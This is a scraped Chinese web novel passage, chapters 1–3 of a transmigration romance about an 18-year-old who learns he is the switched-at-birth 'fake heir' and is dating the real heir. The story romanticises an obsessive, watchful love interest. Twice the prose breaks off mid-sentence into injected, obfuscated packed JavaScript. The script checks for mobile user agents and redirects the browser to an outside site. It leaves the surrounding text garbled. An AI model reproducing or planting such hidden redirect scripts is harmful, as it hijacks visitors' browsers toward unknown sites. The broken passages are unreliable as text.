《分手后被疯狗真少爷盯上了》 1. 第 1 章 东方露鱼肚白,天光顺着落地窗漫进卧室。 孟觉坐在床上,视线雾蒙蒙的,冷汗顺着额头往下淌,沾湿了额前的碎发。 那双杏眼生得清冽好看,此刻却暗得像浸在夜里,明明睁着,却又像什么都没看进去。 胸口微微起伏,呼吸里还带着几分惊魂未定的急促。 一阵风穿窗而入,他猛地一激灵,打湿的眼睫簌簌颤抖,在眼下投出一小片阴影。 路边的灯光渐熄,庭院里安静得只有呼啸而过的风声。 他抬手,指尖微颤地摸过枕边,一把攥住冰凉的手机。 冷白的屏幕光瞬间打在脸上,映得他面色一片苍白。 垂下的视线落在微信对话框上,最新一条信息在两天前,是妈妈发来的生日祝福和红包。 【妈妈:宝贝!十八岁生日快乐!!!】 【妈妈:抱歉宝贝,妈妈不能回来陪你,礼物在管家叔叔那里,妈妈永远爱你!】 爸爸和哥哥的生日礼物就更简单粗暴了,一张不限额的黑卡和一辆跑车。 可他想要的不是这些…… 孟觉轻轻抿了抿唇,唇珠被抿得微微凸起,一点水光凝在唇上,在冷光里泛着亮。 忽然,手机震动,屏幕上弹出一条消息。 【lzx】:早上好。 孟觉指尖微顿,梦里的那一幕还历历在目。 清瘦的手指无意识滑动屏幕,自动忽略了那条信息。 只一个晚上,他的生活就发生了巨变,他变成了鸠占鹊巢的假少爷。 呼。 孟觉深呼一口气,低头给好友发了条消息,约他见面。 发完后他又在床上坐了许久,朦胧的睡意早已被噩梦散得一干二净。 窗外的天光越来越亮,他索性掀开被子起身,随手拿了套衣服去冲澡。 安静的别墅已经忙碌了起来,他下楼正好碰到管家,问道:“华叔,我爸妈有和你说他们今天什么时候回来吗?” 管家在孟家工作了二十多年,看着小少爷从刚出生的小婴儿长成现在的帅小伙,他望着小少爷眼底的期待,在心里叹了口气,道:“先生和太太今天不回来了——” 管家嗓音一顿,有些不敢抬头对上小少爷失望的表情。 孟觉却紧盯着管家的口型。 他们要去M国谈一个很重要的生意,怕打搅你睡觉就没亲自和你说。 “他们要去M国谈一个很重要的生意,怕打搅你睡觉就没亲自和你说。” 孟家家大业大,夫人和先生一直都很忙,这次出差的时间比以往都要长,本来说好今天回的,但又突然改变了主意。 前几天小少爷就兴冲冲地期待先生和太太回来,要是知道这个消息,一定会不高兴,说不定会和生日那天一样,把自己关在房间里一整天。 “小少爷,先生和太太也是身不由己,他们肯定也没料到——” “我知道。华叔,我没有怪他们。” 孟觉打断管家的话,弯了弯眼睛,用平常的语气道,“我饿了。” “小少爷,你……”管家担忧地看着面前的男生,小少爷莫不是被气疯了。 孟觉伸手把管家转了个身,推着他往前走,似撒娇般道:“华叔,我真的没事。” 管家感受着身后的推背感,不自觉弯起嘴角,无奈应道:“好好好,华叔去给你准备早餐。” “谢谢华叔。” 孟觉视线随着管家背影远去,肩膀倏地耷拉下来。 刚才那句话他昨晚梦到过,一字不差,连华叔脸上细微的表情都一模一样。 只不过梦里的他没有这么平静,甚至比生日那天还生气,直接给远在国外的父母打去了电话,还特别激烈地吵了一架。 这几天他总是在做这样的梦,断断续续,却在昨晚连成了一个完整的故事。 第一,他穿书了。 只是穿来时年龄太小,他忘记了,这场梦让他全部都想起来了。 第二,他是假少爷。 原著里,十几年前,孟家掌权者更迭,又逢真少爷出生,为了保护母子俩,孟父把人安排在一家私人医院里,可不知为何,抱回来的却是孟觉这个假少爷。 真相一直到十八年后才被揭晓,一次意外的相遇让孟父察觉到端倪,随着DNA报告的出来,一家人终于团聚,之后便是接回真少爷。 于是假少爷就成了局外人,他不愿意相信这件事,还在孟父孟母的眼皮底下,屡次欺负刚回来的真少爷,最终导致他被赶了出去。 假少爷拿着孟家给的一笔钱,随意挥霍,在花完的那一秒,他的噩梦来了。 他的亲生父母十多年前因意外相继去世,阴差阳错欠下了不少债。 那些人找上门,逼假少爷还钱,不给就打,还剁了他的尾指。 在被踢打到几近昏迷时,假少爷看见了远处冷眼观看的真少爷。 一切都有了解释,原来是真少爷在报复他。 后面他的日子更不好过,不管躲在哪里都会被那帮人找到。 最后在大桥上争执时,不慎掉了下去,淹死了。 - 在主卧门前站了许久,孟觉伸手推开了门,不管如何,他要再验证一件事。 十分钟后,他退出了房间。 “小少爷,早餐做好了。” 管家的声音在身后响起,孟觉目光匆匆扫过对方,连忙点头应下,指尖却在不经意间,轻轻碰了碰口袋里微微鼓起的地方。 吃完早饭,他让司机把他送到一个商场附近,然后坐地铁去了鉴定中心。 这家鉴定中心隐私性极高,报告出来的速度也很快,但当工作人员问孟觉是否需要加急时,他没有选择加急。 交了费用,孟觉走出鉴定中心。 他仰头看着阴沉的天空,脑子里乱糟糟的,一时间闪过很多片段。 有小时候的、也有少年时期的,都是他最珍藏的回忆。 虽然他只是穿书,但这么多年来的感情都是真的。 孟觉回头看了眼鉴定中心的大门,心里一紧。 微风吹乱了他额前的碎发,他手心一震,垂眸。 【许淮:孟觉,我们中午去吃这家火锅吧?】 【许淮:对了,你今天怎么起那么早?】 【许淮:不会是因为那谁吧?】 【许淮:我现在就出门,你也快点来,我要听八卦!】 他看着好友发来的信息,缓慢眨了眨眼睛,长睫落下,掩去了眼尾的一抹红。 - 阴沉的天空终于下起了雨,细密的雨雾裹着潮气,顺着风飘进了墙皮斑驳的老小区。 楼道昏暗逼仄,电线胡乱搭在空中,空气里还飘着淡淡的油烟和潮湿的霉味。 最里头那间三十多平米的小屋挤在楼栋角落,狭小拥挤,一张床、一张桌便占去了大半地方。 昏暗的屋里站着个身形高挑的人,背对着门口,垂着眼睫。 男生侧脸棱角分明,下颌线利落冷硬,整个人透着股生人勿近的沉寂。 只听见他低声呢喃:“又要见面了,哥哥你准备好了吗?” 语气里没有任何情绪,平静得近乎漠然,又似乎含着轻笑。 煤气灶上火苗舔舐着空气,一张张薄纸凑近,然后蜷曲、碳化,隐约能看见“鉴定”二字。 待纸灰燃尽,他轻轻拍了拍手,转身拎起桌上的书包甩到肩上,大步走向门口。 下一瞬,一声沉闷而干脆的“砰”,房门被重重关上。 - “这里!孟觉!” 孟觉刚下车,就看见马路对面的好友在朝他挥手。 他走了过去,勾住许淮的脖子。 “没礼貌,叫哥。” 许淮和他一样大,因长着一张娃娃脸,在外总被人当成未成年,孟觉也调侃着让他叫哥。 许淮不客气地翻了个白眼,把他往火锅店里推:“想得美!明明是我比你大一个月!” 孟觉偏头:“谁让你长得这么嫩呢?许淮弟弟。” 许淮像被踩住尾巴的猫,把孟觉狠狠按在板凳上,对着旁边的服务生道:“可以上了。” 所有菜都上完,服务生自觉退出包厢,带上了门。 许淮用公筷把部分菜下到锅里,孟觉盯着咕噜咕噜冒泡的锅底,直到眼睛泛酸才移开。 “你怎么看起来魂不守舍的?” 许淮放下公筷,视线落在好友泛红的眼尾上,眉头微皱。 “发生什么事了?” 孟觉眨了眨眼睛,别过脸,睫毛却湿得发颤,不太高明地转移话题:“这个肉是不是好了?我好饿啊。” 许淮沉默片刻,用公筷夹起来放进他的碗里。 孟觉余光瞥见好友骤然沉下的脸,指尖微紧,低头安静地吃着碗里的肉片。 一顿午饭,就在这片沉默里静静吃完了。 啪嗒—— 许淮放下筷子,目光紧紧锁住孟觉的脸。 “哥,现在可以说了吧?” 孟觉听到好友喊他哥,下意识牵起嘴角,又在触及对方眼神时,默默放了下去。 他呼出一口气,把自己穿书知晓的剧情改成是他梦到的。 许淮是和他从小玩到大的最好最好的朋友,同时也是个网文爱好者,他希望对方可以给他一点建议。 这个事件中的所有人都没错,但小说就是这么狗血无厘头。 他也仅仅想有个圆满的大结局。 “你听懂了吗?” 许淮咽了咽口水,收起脸上震惊的表情:“大致听懂了,只是你确定是真的吗?万一只是个梦呢?” 他确实看过很多小说,但这还是有点扯了,还是发生在他最好的兄弟身上。 孟觉:“我上午去了鉴定中心。” 许淮诧异地看了眼好友,他和孟觉从穿开裆裤的时候就认识了,对方如果想骗他就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497961|202595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不会去鉴定中心了。 “那你打算怎么办?” 孟觉一本正经说道:“先去分手。” 不管是真是假,分手总会没错。 谁知道小说剧情会不会突然抽风,强行让真少爷来报复他。 听到“分手”二字,许淮面上的镇定瞬间破了:“你昨天才和陆知叙谈恋爱,今天就提分手是不是有点太快了?” 陆知叙,孟觉刚交的男朋友,长着一张极为出众的英俊面庞,当初他也是因为这个才去追对方的。 可现在的问题是,陆知叙就是那位报复他的真少爷。 孟觉脸上出现一丝迟疑。 “那我什么时候能分手?拖着肯定会出大问题。” 这是他两辈子第一次谈恋爱,根本没有经验,许淮虽然也没谈过,但他懂得多啊。 许淮想了想:“一个星期吧。” 孟觉皱了皱脸:“这么久啊?” 许淮白了他一眼:“你现在和他说分手更有可能被报复,你换位思考一下,再说他高考后才被认回去,你先忍一忍。” 孟觉:“……” 早知道不看脸了。 许淮:“其实你也不亏,他那张脸是真绝,况且你还是他的初恋。” “……那他不也是我的初恋吗?” 孟觉幽怨地看着好友。 许淮讪讪一笑:“嘿嘿,我忘了。我们先等鉴定中心的结果出来,也有可能是假的啊。你也趁着这段时间,想想怎么提分手。” 孟觉满脸疑惑:“不是直接说分手就好了吗?” 他想,陆知叙看起来也不喜欢他,昨晚答应谈恋爱的时候还板着一张冷脸呢。 分手这件事不是轻而易举吗? “呃……”许淮抹了把脸,欲言又止,“其实你之前追他,我就不太同意。” 孟觉从不知道好友这样想过,他道:“为什么?” 许淮:“陆知叙这个人很难接近,我们学校那么多人追他,他愣是一个没接受啊。” 孟觉:“那你怎么没和我说?” 许淮一噎,摸了摸鼻尖:“那个……我以为他也会拒绝你,谁知道他竟然答应了嘛!” 孟觉:“…………” “我哪里配不上他了?”他忿忿道,“除了成绩。” 许淮:“你没有注意过他的眼睛吗?” “眼睛?” “很空,像是什么都不会看进眼里,对什么都无所谓,而且看时间长了还挺瘆人的。” “听不懂……” 许淮力竭,声音一时没控制住:“我的意思是你能想象出他和别人接吻做.爱的画面吗?” “你……你……那么大声干什么啊?” 要不是这是包间,他们估计已经被外面那些目光戳成筛子了。 许淮恨铁不成钢:“还不是你太笨了。” 孟觉:“?” 他想开口反驳,喉头却发紧,眼眶先热了。 许淮看着好友瞬间红了的眼眶,连忙说道:“好好好,是我笨,你最聪明了,千万别哭!” 孟觉一边吸鼻子一边拼命忍住快要掉下来的眼泪。 许淮递过去一张纸巾,拖着下巴道:“我说你这泪失禁的毛病什么时候能好?万一在床上还这样,岂不是上下都在哭?” 孟觉擦干眼泪,眨着沾湿的眼睫,懵懵懂懂地望着好友。 “……算了,说了你也听不懂。” 许淮把话题又转回这个莫名其妙的梦境上:“如果这是真的,你打算怎么办?” 孟觉垂着眼没说话。 桌上的火锅汤底早已冷透,红油凝在表面,结出一层厚厚的油壳。 许久,他才道:“妈妈和哥哥之前说过让我出国念大学。” “出国也挺好的,”许淮脑海里浮现出孟母温婉的模样,低声安慰,“孟觉,他们是爱你的。” 在他的记忆里,孟家那一大家子对孟觉是真的宠,上天入地什么都捧给他,家庭地位相当高,不像他,连他家的猫都比他地位高。 孟觉牵起嘴角:“嗯,我知道。” 原著里,孟家接回真少爷后,孟父孟母和哥哥也没有冷落假少爷,甚至担忧他乱想,偶尔还会偏心他,但他被惶恐蒙住了双眼,最终酿成了不可挽回的结局。 孟觉不会像原著里那样做,所以只要他和陆知叙和平分手,回孟家也不欺负他,那他就不会被报复,也就不会被赶出孟家了。 至于假少爷的亲生父母,孟觉心里没什么触动,毕竟那也不是他的亲生父母。 不过,有机会他会去看看的。 占了别人孩子的身体,总归得去看望一下他的父母。 把这件事说出来,孟觉心里舒服多了,瞬间满血复活。 刚要起身,放在桌上的手机亮了一下,他余光扫过,动作一滞。 许淮:“谁啊?” “……陆知叙,他说他在火锅店门口。” 2. 第 2 章 “他怎么来了?不会是你喊来分手的吧?” 许淮立刻看向好友。 孟觉皱了皱眉,看向手机,上面一条还是“早安”呢,他都没回啊。 许淮:“那他怎么知道你在这里?” 孟觉:“我也不知道啊。” “……” “我就说你一定玩不过他。” 孟觉闭上嘴,他之所以和陆知叙谈恋爱,就只是看中了那张脸啊。 “那现在怎么办?” 许淮眼睛一转,给他出了个主意:“你和他说我们走了,不在火锅店了。” 孟觉迟疑道:“可行吗?” 许淮:“试试呗,他应该还没有那么喜欢你吧?” “……” 扎心了,许淮弟弟。 孟觉刚发过去,下一秒就收到了对方的消息。 许淮听到声响,凑过来:“他回了什么啊?” 孟觉把手机往旁边一递:“你自己看吧。” 只见手机屏幕上显示着两条新消息。 【陆知叙:嗯,那你在哪里?】 【陆知叙:我去找你。】 许淮一顿,不可置信道:“陆知叙这么粘人吗?” 孟觉一秒都没思考:“不粘人。” 许淮不解:“那他为什么来找你?难不成来找你约会?我说其实你们在一起也挺好,亲上加亲啊。” 孟觉张了张嘴,许久才发出声音:“要是你是被抱错的真少爷,你看见假少爷会怎么做?” 许淮一脸理所当然:“管他帅的丑的,坏的好的,当然是把身份抢回来啊。” 孟觉摊开手,耸了耸肩。 许淮:“……” 好吧,谁能忍住顶级豪门继承权的诱惑呢。 孟觉指尖悬在键盘上,打了删,删了打。 许淮一把按住孟觉的手,又出了个主意:“你就和他说你已经回家了,然后我们等五分钟再走。” 孟觉眼睛不自觉瞪圆:“万一正好碰到怎么办?” “哎呀,不要紧的。”许淮碰了碰他的肩膀,笑嘻嘻道,“他要是质问你,你就朝他撒撒娇,反正你们现在在谈恋爱啊,跟男朋友撒撒娇又不丢脸。” 孟觉天生骨架小,脸小,小时候又软又萌,只要见过他的就没有不喜欢他的。 直到高中突然窜个子,追求的人稍微少了点。 但这张脸还是会让人流连忘返,要是撒娇,那更是无敌大杀器了。 许淮看着好友的脸,情不自禁地上手捏了捏,感叹道:“真软。” 孟觉拍开他的手,无语道:“现在情况这么严重,你还和我开玩笑。” “我想了想其实也不是很严重,如果你的梦是真的,那你只要和他分手,然后美美出国就好了,要是孟阿姨他们不管你了,我来养你啊,只要你暴富后别忘了我就好。” 许淮拉着孟觉的手,表情夸张地说道:“但你知道现在最最最最重要的是什么吗?” 孟觉不由自主追问:“是什么?” 许淮:“就是你不要傻乎乎地被他拉上床做a——” 那个字刚出声,孟觉就手忙脚乱地捂住了好友的嘴,一抹红晕也悄悄染上了耳尖。 “你一天到晚看得都是什么小说啊!” “《和高冷校草在一起后,我带球跑了》、《穿书后我绑定了恋爱系统》、《在贵族学校成了万人迷》、《一觉醒来,我怀了死对头的崽》……” 许淮对自己看过的小说如数家珍。 “好了,你别说了。” 孟觉夹起碟子里最后一块红糖糍粑,眼疾手快塞进许淮的嘴里。 耳边瞬间清净了,只有许淮被噎住的呜呜声。 许淮捶着胸口,好不容易将糍粑咽下去,刚要辩论,就瞥见孟觉泛着水光的眼睛。 啧,又要哭了。 孟觉知道自己情绪激动就容易流眼泪,连忙拽了张纸,胡乱地擦了擦。 力道太急,在眼角带起了一片红,看上去更惹人怜爱了。 许淮抛去脑海里一些小说情节,轻咳一声:“时间差不多了,我们走吧。” 外面还在下雨,雨势比刚来时稍大,街道上几乎没有行人。 孟觉走在楼梯上,随意一瞥,视线却不受控地黏在店门口。 那里站着一个个高腿长的男生,穿着简单的白衬衫,背着黑色双肩包,背脊挺得笔直,在熙熙攘攘的人流里格外扎眼。 “怎么不走了?在看什么啊?” 许淮察觉到好友的停顿,趴在孟觉肩上往外看。 一道身影瞬间撞进视野里。 他轻嘶一声:“他怎么没走啊。” 那道身影正垂眸看着手机,安静地近乎淡漠,仿佛周围的一切都与他无关。 陆知叙,A市中学高中部里永远的第一名,旁人嘴里遥不可及的学神,老师眼里的“宝贝”,各类竞赛奖项拿到手软。 话少、冷淡、没什么朋友,总是独来独往,这是他给孟觉的印象,明明是同样的年纪,对方却已褪去了少年的青涩,隐隐透露出沉稳的男人气质。 孟觉看得有些出神,连呼吸都下意识放轻,原来爸妈的亲生孩子长这个样子啊,怪不得这么合他眼缘。 大概是他的目光太过直白,又或许是别的原因。 门口的男生缓缓抬起了头,动作不急不缓,带着几分漫不经心。 却在抬眼的那一瞬,目光直直穿过人群,毫无偏差地撞进了孟觉的眼睛里。 孟觉对上对方那双眼睛,心跳莫名乱了半拍。 “他是不是看到我们了?” 许淮躲在好友身后,戳了戳他。 孟觉不自觉地抿了抿唇:“嗯。” 雨声淅淅沥沥,周围的喧嚣像是被隔绝在外。 陆知叙看着磨磨蹭蹭走过来的孟觉,视线落在他泛红的眼尾上,冷寂的眼神微微松动。 “怎么哭了?” “……火锅太辣了。” 孟觉撒了个小谎,睫毛乱颤,从看见陆知叙起,他的脑子就变得很乱。 陆知叙嗯了一声,没戳穿他的谎言:“要喝牛奶吗?” 孟觉轻轻唔了一声。 陆知叙:“解辣。” “哦,不喝,现在不辣了。” 孟觉眨了眨眼睛,很乖地回道。 他虽为孟家最宠的小少爷,却没有富家子弟的坏习惯,更像是包着甜馅的糯米圆子,轻轻一咬,流出的都是甜味。 许淮眉头微皱,这传说中的冷漠学神是不是太好说话了一点? 他下意识靠近孟觉,提醒他小心点。 但旁边空了。 许淮疑惑地看过去,刚站在他边上的孟觉此时和陆知叙靠得很近,甚至两人的手刚刚分开。 他们……刚刚是当着他的面牵手了吗??? 陆知叙手指随意垂在腿侧,指腹无意识摩挲着。 和他在外面站了许久不同,对方的手很暖,骨节匀称。 纤细的指尖很软,像上好的白锦缎,细腻温软,碰上就不想放手了。 孟觉被拽过来时,神情还是懵懵的。 他下意识抬头看陆知叙,圆溜溜的大眼睛里满是疑惑。 陆知叙的嗓音很淡,却在热闹的火锅店门口,清晰地传到他的耳朵里。 “他靠你太近了。” “?” 孟觉转头看向刚才站的地方,猝不及防对上了许淮幽怨的眼神。 许淮:小丑. jpg 孟觉:“……” 两人用眼神交流了一会,孟觉才慢吞吞问陆知叙:“你怎么知道我在这里?” 陆知叙:“别人告诉我的。” 孟觉:“谁啊?” 陆知叙:“二班班长。” 二班? 他和陆知叙是一班的,许淮是三班的,二班班长怎么会认识他? 似乎是看出了他的疑惑,陆知叙解释道:“他昨晚看见了我们。” 昨晚? 那就是说——二班班长知道他们在谈恋爱! 可明明昨晚他都检查过了,那里根本不会有人出现的啊! 虽然昨天告白他也只是说了一句要不要做他男朋友,但一想到被人看见了…… 孟觉整个人都僵住了。 一抹绯红迅速攀上他修长白皙的脖子,一路蔓延至耳尖和脸颊。 许淮心里一咯噔,顾不上心里对陆知叙的忌惮,连忙过去挤开两人,挡住他的目光。 孟觉藏在许淮身后,脸上的红晕烫得他眼底不受控地泛起湿意。 他瞳孔微微放大,眼眸里蒙着一层薄薄的水汽,纤长的睫毛眨动间也沾上了细碎的水光。 许淮察觉到身后的小动静,挺起胸膛把人遮得更严实了。 然而孟觉这副紧张无措、眼眶泛红的模样,还是落进了陆知叙的眼中。 他浅色的瞳孔猛地一缩,垂在腿边的手指微微蜷缩。 怎么又哭了…… 这么爱哭吗? 他视线落在沾上泪水的饱满唇肉上,喉结滚动,口干舌燥。 上辈子把他推下楼、把他的头按在水里、把他关在厕所里、找校外的人打他时,也会这么娇气地掉眼泪吗? 哥哥,你引起了我的兴趣呢。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497962|202595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 陆知叙面无表情地捻着指腹,眼底却泛起一丝不正常的兴奋。 而被觊觎的孟觉正以最快的速度整理自己不受控制的情绪。 他深吸一口气,从许淮身后走了出来。 许淮看着他微红的眼眶,皱起的眉头就没松过。 不怪他,只因现在的孟觉站在陆知叙旁边,活脱脱像一只落入大灰狼洞穴里的小白兔。 又软又嫩,秀色可餐。 “孟觉,”陆知叙喊了一声,待对方的目光落在他身上,才接着说道,“我们走吧。” 许淮:“你要带他去哪里?” 看着挡在男生面前的人,陆知叙目光凉了几分,直视孟觉湿漉漉的眼睛:“你昨晚不是说要我帮你补习吗?” 孟觉脸上的懵懵懂懂逐渐消失,他想起来了,这句话是他为了快速拉近和陆知叙的关系,随口说的,没想到对方竟然当真了。 他特别慢地点头。 许淮:“???” 陆知叙嘴角隐秘翘起,嗓音低沉:“那我们走吧。” 要是没有昨晚的梦,孟觉一定会答应,但现在,他们之间的关系太尴尬了。 他摇了摇头:“我今天还有事。” 孟觉想的很简单,反正陆知叙也不喜欢他,应当是喜闻乐见的。 可和他想的不一样。 “是什么事?” 孟觉一时被问住,大脑一片空白。 许淮见好友被“色诱”住,大声咳了两声,成功吸引了两人的注意力。 他习惯性地把手臂搭在孟觉肩膀上,刚要开口,就撞上了一道冰冷的视线。 许淮顺着他的视线看过去,心头一跳,下意识收回手臂。 意识到自己做了什么后,他在心里暗骂了一句怂什么。 刚找好理由,对方却已经移开了视线。 许淮:小丑x2 他只好又重重咳嗽了一声,顶着陆知叙毫无温度的目光道:“孟觉下午要和我待在一起。” 陆知叙转头看向孟觉,耷拉着眉眼。 “他说的是真的吗?你不愿意和我一起是因为他吗?” 许淮:“……!” 孟觉:“?” 这话怎么听起来那么奇怪。 抬眼时却却直直撞进了那双毫无波澜的眼睛里。 陆知叙的眼睛眼型偏长,眼尾微微下压,瞳色是浅褐色,明明神情冷淡,但莫名有些委屈。 孟觉张了张嘴,那句“是的”堵在喉咙里,说不出来。 突然,他又想起一件很重要的事情。 差不多就是高考前一个月,陆知叙请了一个星期的假,再回校时右腿就瘸了。 后来他才知道对方的腿是被收债人用重物砸的,又因没好好休养,彻底恢复不了了。 如果被爸爸妈妈看见,应该会心疼吧。 孟觉手指微蜷,抬头轻声道:“我下午和你一起。” 陆知叙笑了。 这是孟觉第一次看见他笑,那张薄唇勾起了一道很浅很浅的弧度。 转瞬即逝,但明晃晃印在他的眼眸里。 这么一看,陆知叙笑起来的嘴巴和爸爸很像,果然他们才是真正的一家人。 一股失落涌上心口,孟觉连忙移开视线,眨了眨酸涩的眼睛。 真相残忍地撕开了十八年的谎言,他理智上接受了,但感情上还未完全接受。 孟觉觉得他只要和对方和平相处,变化应该不会很大叭。 男生低着头情绪萎靡,陆知叙很快敛起笑容,浅褐色的瞳仁微微转动,毫无情感地落在后边的许淮身上,仿佛是在说‘我赢了’。 许淮先被好友背刺,又被陆知叙贴脸炫耀,一股郁气堵在胸口不上不下。 他伸手拽住孟觉,满脸不开心:“你确定不和我走?” 孟觉摇头,指尖点了点手机。 两人从小一起长大,许淮很快明白有隐情,只好放手让孟觉和陆知叙走。 孟觉对他笑了笑,转头对陆知叙道:“我们走吧。” 陆知叙颔首,走到他面前,伸出了一只手。 男生比他高一个头,站在他面前,刚好能把他整个人都笼罩住。 可伸出一只手是什么意思? 陆知叙垂眸,语气毫无波澜:“牵手。” 孟觉疑惑道:“为什么要牵手?” 周围的空气似乎安静了几秒,才响起陆知叙的声音。 “因为……” 男生低沉磁性的嗓音仿佛裹着雨水的潮气,又湿又沉地钻进孟觉的耳朵里。 “我们在谈恋爱啊。” 哥哥。 3. 第 3 章 对哦。 孟觉尴尬地想找个地缝钻进去。 自从知道他是假少爷,对方是真少爷后,他总是下意识想和对方拉开距离。 身前是要牵手的新晋男朋友,身后是看好戏的发小,男上加男啊。 孟觉顿感生无可恋。 面前这只骨节分明的手,指尖微抬,还等着他牵上去呢。 要不是原著里的那些情节,他并不想和陆知叙有半分多余的牵扯,更不想有肢体接触。 他下意识往后缩了缩指尖,小声嘟囔:“你是小狗吗?出门还要牵手(绳)。” 他声音很小,也确保对方听不见。 但陆知叙的话还是吓到了他。 “你喜欢小狗?” 孟觉眼睛猛地睁大,立刻摇头表示自己不喜欢。 “哦。” 陆知叙很轻地点了一下头,语气淡然,仿佛只是随口一说。 虽然孟觉知道了他穿书且是假少爷这件事,但十八年来养成的性格并不会因此改变。 他直言道:“可以不牵手吗?这里好多人。” 陆知叙定定地看了他几眼,垂在腿侧的手指指腹微捻:“可以。” 孟觉松了口气,脸上不自觉地露出一道笑容:“那我们走吧。” 离开热闹的火锅店,陆知叙的视线缓缓落在孟觉脸上,对方肌肤细腻,肤色白得晃眼,还有刚刚那道笑容,干净又晃眼,一看便知道是从小宠到大的富家少爷。 他眼眸轻轻闪了闪,眼底的情绪被掩在长睫之下,长腿一迈,上前拉开了停在面前的出租车车门。 孟觉没多想,直接坐了进去。 等屁股挨到座椅,他才反应过来这不是自家的车,也不是华叔帮忙开的门。 他不好意思地挠了挠脸,刚张开嘴,还没来得及出声,面前突然出现一片阴影,然后他整个人腾空,被稳稳放在旁边的座位上。 整个过程其实只有一两秒,但直到车门关上,孟觉才堪堪回过神。 他坐在驾驶室的后面,根本不敢抬头,怕对上后视镜里司机奇怪的眼神。 只能默默缩在座位上,努力减少自身的存在感。 陆知叙看起来很清瘦,力气竟然那么大吗? 好歹他也是个一百来斤的正常男性,他不要面子的嘛。 出租车里一片寂静。 陆知叙侧过脸,只看见男生仅露出的那只红彤彤的耳朵,如同博物馆里最漂亮的红玛瑙。 尽管很害羞,对方还是坐得笔直,看得出来教养极好。 当他微微转头时,那截如玉般的脖颈便暴露在空气里,那层薄薄的皮肉柔软细腻,源源不断地散着温热,仿佛一碰就化。 陆知叙目光一顿,抬起指尖,淡淡一嗅,上面仿佛还有刚刚碰到男生肌肤的温度。 是男生身上特有的、干净清冽的皂角香,仿佛混着一点阳光晒过的暖意,清清爽爽,不带半分别的味道。 哥哥好像和上辈子有点不一样。 意外得令人有些上瘾。 - 雨水啪嗒啪嗒打在车窗上,流下的水痕映照出许淮那张担忧的脸庞。 手机拿起又放下,他怎么也想不通孟觉为什么会和陆知叙走。 明明说会发消息跟他解释,可到现在一条信息都没有。 难不成又被那张脸色诱了。 他真的担心孟觉会被陆知叙欺负,还是那种被欺负而不自知的。 所以他决定今天手机24小时不离身,万一出了什么事,他还能去抢救一下。 - 出租车停在A大附近的一家自习室门口。 车门一解锁,孟觉立刻下车,仿佛后面有人在追。 陆知叙付完钱,下车走到他身边,低头道:“进去吧,我预约过了。” 孟觉脸上的红晕还未完全消失,听到这句话,下意识抬头问道:“你什么时候预约的?” 陆知叙停下脚步,回头看他:“昨天晚上。” 昨天晚上? 那岂不是他刚说过,对方就预约了吗? A大附近的自习室预约是要付定金的,如果没有去,定金也不会退。 陆知叙怎么会提前预约呢? 他不是很缺钱吗? “那如果我今天不想来了呢?” 孟觉是真的好奇,他知道为了还债陆知叙会同时打好几份工,那他不是更应该把钱花在刀刃上吗? 何必花在他的身上呢。 陆知叙看着男生微微抬起的那张漂亮脸蛋,脑海里涌出一个又一个念头。 好想把他弄脏啊,一定更漂亮。 他喉结微滚,嗓音沙哑:“如果你不想补习,我就带你去看电影、吃饭——” 孟觉越听越觉得这些事情很耳熟,打断他:“你是想和我约会吗?” “嗯。” 陆知叙灼热的呼吸喷在孟觉的脸上。 他心尖一颤,脸上的热意又席卷而来,脑子彻底转不动了。 难不成陆知叙是真的想和他谈恋爱? 他抬头看那张脸,依旧没什么表情。 孟觉默默松了口气,应该是他想多了,真少爷怎么可能会喜欢鸠占鹊巢的假少爷呢,他又不是穿进了同人文里。 但周围的气氛还是因为陆知叙的话变得旖旎,心跳都在不规律地跳动。 为了打破暧昧的氛围,他连忙道:“我们快进去吧,我现在特别想让知识进入我的脑子。” 话音刚落,孟觉就急冲冲往自习室里走去。 后面的陆知叙目光幽深,轻声呢喃。 “哥哥好像比以前更有趣了。” - 自习室里是一个一个的小隔间,门一关,互不打扰。 孟觉捧着陆知叙带来的书,刚瞥到上面的公式,眼睛就开始发愣。 脑子里什么尴尬别扭的情绪都没有了,只有困意。 他努力撑着眼皮,聚精会神地听着耳边低沉的嗓音,然后闭上了眼睛。 尽管他睡着时还捧着书,但陆知叙在一旁看得清清楚楚。 闭上眼睛的男生很乖,皮肤细腻光滑,呼吸声很浅。 微微颤动的睫毛像刷子一样又长又密,然后是鼻梁,再往下是红润饱满的嘴唇,泛着水光,仿佛在等人去亲。 陆知叙呼吸一沉,骨节分明的手因用力而暴起青筋。 鼻尖满是男生身上的味道,一点不难闻,还有股淡淡的香味。 心里的厌恶最终还是抵不住满腔的欲望。 他贴近,俯下了身。 孟觉是被惊醒的,杏眼瞪得圆圆的,呼吸略微急促。 视野里是绿色的墙纸、书桌、数学书和陆知叙。 盯着对方的脸看了好几秒,他才醒过神。 哦,陆知叙在给他补习。 “!” 孟觉快速眨了眨眼睛,自以为非常隐蔽地摸了摸嘴角。 还好没有流口水。 顶着旁边的视线,他讷讷道:“抱歉,我昨晚没睡好。” 实则心里无比崩溃:为什么要让他在陆知叙面前出丑!!! “没关系,这里很安静,很适合睡觉。” 陆知叙语气淡然,眼睛里闪过若有若无的笑意。 不知是还未完全清醒还是别的原因,孟觉看着对方的脸脱口而出:“我只是发现学习的时候把眼睛闭上很舒服。” “……” “…………” 救命。 孟觉的脸瞬间爆红,他低着头,眼睛不可控制地湿了。 